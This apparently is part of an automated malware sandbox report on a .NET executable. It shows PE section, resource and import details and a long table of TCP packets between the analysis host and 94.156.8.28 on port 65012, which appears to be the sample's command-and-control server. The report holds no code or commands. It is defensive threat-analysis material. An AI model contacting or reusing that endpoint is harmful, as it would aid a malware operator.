.reloc	0x1c000	0xc	0x200	5d15b3ed438a3ab0253bd60fcc035f5d	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x1a0a0	0x254	data			0.4597315436241611
RT_MANIFEST	0x1a2f4	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 19, 2024 06:00:56.425894022 CEST	49730	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:00:56.431197882 CEST	65012	49730	94.156.8.28	192.168.2.4
May 19, 2024 06:00:56.431329966 CEST	49730	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:00:56.449484110 CEST	49730	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:00:56.483715057 CEST	65012	49730	94.156.8.28	192.168.2.4
May 19, 2024 06:00:56.798177958 CEST	49730	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:00:56.803571939 CEST	65012	49730	94.156.8.28	192.168.2.4
May 19, 2024 06:00:57.207339048 CEST	65012	49730	94.156.8.28	192.168.2.4
May 19, 2024 06:00:57.248821020 CEST	49730	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:02.309808969 CEST	49730	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:02.309885025 CEST	49730	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:02.315361023 CEST	65012	49730	94.156.8.28	192.168.2.4
May 19, 2024 06:01:02.320954084 CEST	65012	49730	94.156.8.28	192.168.2.4
May 19, 2024 06:01:02.550378084 CEST	65012	49730	94.156.8.28	192.168.2.4
May 19, 2024 06:01:02.592565060 CEST	49730	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:03.363182068 CEST	65012	49730	94.156.8.28	192.168.2.4
May 19, 2024 06:01:03.364418983 CEST	65012	49730	94.156.8.28	192.168.2.4
May 19, 2024 06:01:03.364629030 CEST	49730	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:03.367120028 CEST	65012	49730	94.156.8.28	192.168.2.4
May 19, 2024 06:01:03.367166996 CEST	65012	49730	94.156.8.28	192.168.2.4
May 19, 2024 06:01:03.367312908 CEST	49730	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:03.370002031 CEST	65012	49730	94.156.8.28	192.168.2.4
May 19, 2024 06:01:03.370037079 CEST	65012	49730	94.156.8.28	192.168.2.4
May 19, 2024 06:01:03.370181084 CEST	49730	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:06.433940887 CEST	49730	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:06.434721947 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:06.439693928 CEST	65012	49730	94.156.8.28	192.168.2.4
May 19, 2024 06:01:06.439800978 CEST	49730	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:06.444442034 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:06.444531918 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:06.445303917 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:06.495578051 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:06.796045065 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:06.801430941 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:06.801598072 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:06.806200981 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:06.806260109 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:06.806293011 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:06.806297064 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:06.806325912 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:06.806341887 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:06.806355000 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:06.806382895 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:06.806390047 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:06.806410074 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:06.806427002 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:06.806437969 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:06.806462049 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:06.806466103 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:06.806504965 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:06.806529999 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:06.811012030 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:06.811117887 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:06.815706968 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:06.815737963 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:06.815764904 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:06.815804958 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:06.815813065 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:06.815833092 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:06.815845013 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:06.815865993 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:06.815942049 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:06.854878902 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:06.855273962 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:06.902883053 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:06.903117895 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:06.951004982 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:06.951200962 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:06.987786055 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:06.988104105 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:06.993386030 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:06.993463993 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:06.998147011 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:06.998193026 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:06.998222113 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:06.998246908 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:06.998250961 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:06.998271942 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:06.998281002 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:06.998290062 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:06.998310089 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:06.998317957 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:06.998337984 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:06.998346090 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:06.998366117 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:06.998378992 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:06.998394966 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:06.998409986 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:06.998421907 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:06.998430014 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:06.998450041 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:06.998460054 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:06.998477936 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:06.998485088 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:06.998505116 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:06.998518944 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:06.998533964 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:06.998542070 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:06.998563051 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:06.998588085 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:06.998589993 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:06.998626947 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:06.998656988 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.002911091 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.002999067 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.007519960 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.007551908 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.007581949 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.007626057 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.007627010 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.007654905 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.007682085 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.007683039 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.007709026 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.007721901 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.007749081 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.007772923 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.046972990 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.049276114 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.075584888 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.075769901 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.080754995 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.080832005 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.081763983 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.081794024 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.081823111 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.081850052 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.081849098 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.081877947 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.081883907 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.081906080 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.081907034 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.081933975 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.081942081 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.081960917 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.081962109 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.081990957 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.082017899 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.082017899 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.082042933 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.082045078 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.082072973 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.082088947 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.082101107 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.082118034 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.082129002 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.082155943 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.082158089 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.082192898 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.082233906 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.082248926 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.082278013 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.082304955 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.082331896 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.082357883 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.082362890 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.082385063 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.082396030 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.082422972 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.082442999 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.085499048 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.085534096 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.085576057 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.085577011 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.085603952 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.085609913 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.085632086 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.085653067 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.085659027 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.085675955 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.085686922 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.085706949 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.085716009 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.085742950 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.085756063 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.085769892 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.085779905 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.085797071 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.085802078 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.085834026 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.085854053 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.088084936 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.088129997 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.088156939 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.088185072 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.088211060 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.088215113 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.088238955 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.088244915 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.088268042 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.088270903 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.088295937 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.088296890 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.088325024 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.088339090 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.088351965 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.088367939 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.088378906 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.088392973 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.088407993 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.088434935 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.088437080 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.088457108 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.088464022 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.088476896 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.088493109 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.088498116 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.088517904 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.088521004 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.088547945 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.088551998 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.088574886 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.088578939 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.088601112 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.088606119 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.088629007 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.088640928 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.088658094 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.088666916 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.088709116 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.090536118 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.090569019 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.090595961 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.090600967 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.090620995 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.090634108 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.090650082 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.090699911 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.093867064 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.093895912 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.093923092 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.093936920 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.093950987 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.093956947 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.093977928 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.093992949 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.094006062 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.094014883 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.094033957 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.094042063 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.094060898 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.094062090 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.094088078 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.094089031 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.094120979 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.094149113 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.094172001 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.094199896 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.094225883 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.094232082 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.094253063 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.094254971 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.094283104 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.094285011 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.094310045 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.094311953 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.094330072 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.094337940 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.094367027 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.094377041 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.094404936 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.094414949 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.094430923 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.094438076 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.094460011 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.094465971 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.094487906 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.094487906 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.094543934 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.095751047 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.095784903 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.095812082 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.095828056 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.095849991 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.095849991 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.095874071 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.095887899 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.095915079 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.095927000 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.095942020 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.095952034 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.095969915 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.095978022 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.095997095 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.096002102 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.096024036 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.096040964 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.096050978 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.096062899 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.096080065 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.096081972 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.096101046 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.096123934 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.096124887 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.096153975 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.096180916 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.096185923 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.096205950 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.096244097 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.100009918 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.100039005 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.100065947 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.100074053 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.100095034 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.100114107 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.100136042 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.100138903 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.100152969 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.100167036 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.100193977 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.100220919 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.100230932 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.100250006 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.100263119 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.100276947 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.100305080 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.100315094 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.100332022 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.100347042 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.100359917 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.100367069 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.100388050 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.100405931 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.100416899 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.100426912 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.100445032 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.100461960 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.100471973 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.100488901 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.100500107 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.100512028 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.100528002 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.100533962 CEST	49732	65012	192.168.2.4	94.156.8.28
